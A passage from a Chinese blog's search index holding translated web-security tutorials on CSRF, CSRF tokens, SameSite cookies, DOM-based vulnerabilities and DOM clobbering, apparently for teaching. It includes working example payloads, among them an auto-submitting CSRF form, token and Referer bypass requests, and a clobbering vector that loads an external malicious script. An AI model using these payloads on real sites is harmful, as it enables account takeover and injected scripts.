CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF 是如何工作的 要使 CSRF 攻击成为可能,必须具备三个关键条件: 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。 假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE email=wiener@normal-user.com 这个例子符合 CSRF 要求的条件: 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。 攻击者可以轻松确定执行操作所需的请求参数的值。 具备这些条件后,攻击者可以构建包含以下 HTML 的网页: \u003chtml\u003e \u003cbody\u003e \u003cform action=\"https://vulnerable-website.com/email/change\" method=\"POST\"\u003e \u003cinput type=\"hidden\" name=\"email\" value=\"pwned@evil-user.net\" /\u003e \u003c/form\u003e \u003cscript\u003e document.forms[0].submit(); \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 如果受害用户访问了攻击者的网页,将发生以下情况: 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。 注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:3:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"如何构造 CSRF 攻击 手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:4:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"如何传递 CSRF 跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。 请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示: \u003cimg src=\"https://vulnerable-website.com/email/change?email=pwned@evil-user.net\"\u003e ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:5:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"防御 CSRF 攻击 防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是: 不可预测的,具有高熵的 绑定到用户的会话中 在相关操作执行前,严格验证每种情况 可与 CSRF token 一起使用的附加防御措施是 SameSite cookies 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:6:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"常见的 CSRF 漏洞 最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。 在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token : POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE\u0026email=wiener@normal-user.com 这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 的验证依赖于请求方法 某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。 在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击: GET /email/change?email=pwned@evil-user.net HTTP/1.1 Host: vulnerable-website.com Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:1","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 的验证依赖于 token 是否存在 某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。 在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 25 Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm email=pwned@evil-user.net ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:2","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 未绑定到用户会话 有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。 在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:3","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 被绑定到非会话 cookie 在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY\u0026email=wiener@normal-user.com 这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。 注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:4","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF token 仅要求与 cookie 中的相同 在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要: POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa\u0026email=wiener@normal-user.com 在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:7:5","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"基于 Referer 的 CSRF 防御 除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。 注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:0","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Referer 的验证依赖于其是否存在 某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。 在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记: \u003cmeta name=\"referrer\" content=\"never\"\u003e ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:1","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"Referer 的验证可以被规避 某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置: http://attacker-website.com/csrf-attack?vulnerable-website.com 如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域: http://vulnerable-website.com.attacker-website.com/csrf-attack ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf/:8:2","tags":[],"title":"web 安全之 CSRF","uri":"/translation/web-security/csrf/csrf/"},{"categories":["web security"],"content":"CSRF tokens","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"CSRF tokens 在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:0:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"什么是 CSRF token CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。 由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:1:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"CSRF token 应该如何生成 CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。 您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。 如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:2:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"如何传输 CSRF token CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含: \u003cinput type=\"hidden\" name=\"csrf-token\" value=\"CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz\" /\u003e 为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。 另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串: 记录在客户端和服务器端的各个位置; 容易在 HTTP Referer 头中传输给第三方; 可以在用户的浏览器中显示在屏幕上。 某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。 CSRF token 不应在 cookie 中传输。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:3:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"如何验证 CSRF token 当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/csrf-tokens/:4:0","tags":[],"title":"CSRF tokens","uri":"/translation/web-security/csrf/csrf-tokens/"},{"categories":["web security"],"content":"SameSite cookies","date":"2021-03-09","objectID":"/translation/web-security/csrf/samesite-cookies/","tags":[],"title":"SameSite cookies","uri":"/translation/web-security/csrf/samesite-cookies/"},{"categories":["web security"],"content":"SameSite cookies 某些网站使用 SameSite cookies 防御 CSRF 攻击。 这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。 这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如: SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict; SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax; 如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。 如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件: 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。 使用 SameSite 的 Lax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项: 有些应用程序确实使用 GET 请求实现敏感操作。 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。 出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/samesite-cookies/:0:0","tags":[],"title":"SameSite cookies","uri":"/translation/web-security/csrf/samesite-cookies/"},{"categories":["web security"],"content":"XSS vs CSRF","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"XSS vs CSRF 在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:0:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"XSS 和 CSRF 之间有啥区别 跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。 跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。 XSS 漏洞的后果通常比 CSRF 漏洞更严重: CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。 CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:1:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"CSRF token 能否防御 XSS 攻击 一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下: https://insecure-website.com/status?message=\u003cscript\u003e/*+Bad+stuff+here...+*/\u003c/script\u003e 现在,假设漏洞函数包含一个 CSRF token : https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz\u0026message=\u003cscript\u003e/*+Bad+stuff+here...+*/\u003c/script\u003e 如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。 这里有一些重要的注意事项: 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。 CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。 ","date":"2021-03-09","objectID":"/translation/web-security/csrf/xss-vs-csrf/:2:0","tags":[],"title":"XSS vs CSRF","uri":"/translation/web-security/csrf/xss-vs-csrf/"},{"categories":["web security"],"content":"web 安全之 DOM-based vulnerabilities","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM-based vulnerabilities 在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:0:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"什么是 DOM Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:1:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"污染流漏洞 许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"什么是污染流 要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。 Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。 Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。 从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。 最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码: goto = location.hash.slice(1) if(goto.startsWith('https:')) { location = goto; } 这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞: https://www.innocent-website.com/example#https://www.evil-user.net 当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:1","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"常见的 source 源 以下是一些可用于各种污染流漏洞的常见的 source 源: document.URL document.documentURI document.URLUnencoded document.baseURI location document.cookie document.referrer window.name history.pushState history.replaceState localStorage sessionStorage IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) Database 以下数据也可以被用作污染流漏洞的 source 源: Reflected data 反射数据 Stored data 存储数据 Web messages ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:2","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"哪些 sink 接收器会导致基于 DOM 的漏洞 下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。 基于 DOM 的漏洞 sink 示例 DOM XSS document.write() Open redirection window.location Cookie manipulation document.cookie JavaScript injection eval() Document-domain manipulation document.domain WebSocket-URL poisoning WebSocket() Link manipulation someElement.src Web-message manipulation postMessage() Ajax request-header manipulation setRequestHeader() Local file-path manipulation FileReader.readAsText() Client-side SQL injection ExecuteSql() HTML5-storage manipulation sessionStorage.setItem() Client-side XPath injection document.evaluate() Client-side JSON injection JSON.parse() DOM-data manipulation someElement.setAttribute() Denial of service RegExp() ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:3","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"如何防止基于 DOM 的污染流漏洞 没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。 如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。 有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:2:4","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM clobbering DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-based-vulnerabilities/:3:0","tags":[],"title":"web 安全之 DOM-based vulnerabilities","uri":"/translation/web-security/dom-based/dom-based-vulnerabilities/"},{"categories":["web security"],"content":"DOM clobbering","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"DOM clobbering 在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:0:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"什么是 DOM clobbering DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。 术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:1:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"如何利用 DOM-clobbering 漏洞 某些 JavaScript 开发者经常会使用以下模式: var someObject = window.someObject || {}; 如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码: \u003cscript\u003e window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; \u003c/script\u003e 要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素: \u003ca id=someObject\u003e\u003ca id=someObject name=url href=//malicious-website.com/malicious.js\u003e 由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。 另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入: \u003cform onclick=alert(1)\u003e\u003cinput id=attributes\u003eClick me 在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i \u003c element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:2:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"如何防御 DOM-clobbering 攻击 简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。 